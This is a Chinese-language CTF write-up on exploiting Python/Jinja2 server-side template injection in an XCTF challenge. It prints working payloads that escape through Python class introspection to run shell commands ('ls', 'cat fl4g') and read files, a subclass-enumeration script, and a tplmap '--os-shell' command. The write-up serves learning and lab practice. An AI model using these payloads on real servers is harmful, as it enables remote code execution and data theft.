起因#
在xctf
上做题遇到的
0x00 SSTI 漏洞简介#
SSTI
:Server-Side Template Injection
服务器端模板注入,属于格式化字符串漏洞之一。
注入就是格式化字符串漏洞的一种体现
不管是二进制还是web
,很多的漏洞都能归结为格式化字符串漏洞
sql
注入就是格式化字符串漏洞的最好代表,在本不该执行sql
语句的地方执行了sql
语句。
xss
的部分代码闭合注入也属于这种方式。
什么是模板注入呢?
写html
代码的时候,为了方便,很多网站都会使用模板,先写好一个html
文件
当开发者想要这个模板对应的样式时,可以直接用render_template_string
方法来调用模板
从而直接把这个样式渲染出来,而模板注入,就是指将一串指令代替变量传入模板让它执行
0x01writeup#
首先我们来建立一个简单的测试url
:
xxx.xxx.xxx.xxx:yyyyy/{{7*7}}
可以看到7*7
这条指令被执行了
题目说的是python template injection
,说明服务器端脚本是python
的
那我们需要知道python
中的类内方法:
- class : 返回对象所属的类
- mro : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
- base : 返回该类所继承的基类
- base和mro都是用来寻找基类的
- subclasses : 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
- init : 类的初始化方法
- globals : 对包含函数全局变量的字典的引用
首先我们查看所有模块:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D
这里模块很多,为了后续我们方便使用模块,这里我写了一个小脚本,把对应的序号列出来:
import requests
import re
import html
url = "http://xxx.xxx.xxx.xxx:yyyyy/[].__class__.__base__.__subclasses__()%7D%7D"
cont = html.unescape(requests.get(url).content.decode("utf8"))
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", cont, re.S)
print(type_list)
for i in range(len(type_list)):
print(i, type_list[i])
效果如下:
这里可以使用catch_warnings
模块的.__init__.func_globals.keys()
的linecache
函数来调用os
模块
xxx.xxx.xxx.xxx:yyyyy/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D
也可以使用os
的printer
函数来使用os.popen
函数执行命令行语句
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D
然后继续使用os.popen
执行cat fl4g
命令显示fl4g
文件内容:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D
或者直接使用os
模块的listdir
方法来寻找flag
文件:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')%7D%7D
然后使用file
方法来读取fl4g
:
xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D
最后读取内容如下:
本题也可以使用服务端模板注入工具tplmap
使用python2
环境,指定url
加上--os-shell
参数直接获得目标主机shell
:
python tplmap.py -u "http://xxx.xxx.xxx.xxx:yyyyy/*" --os-shell
本文完。
参考文章:
- 从零学习 flask 模板注入
- 一篇文章带你理解漏洞之 SSTI 漏洞
- python 模板注入
- Flask/Jinja2 SSTI && Python 沙箱逃逸基础
- EndermaN 同学的 writeup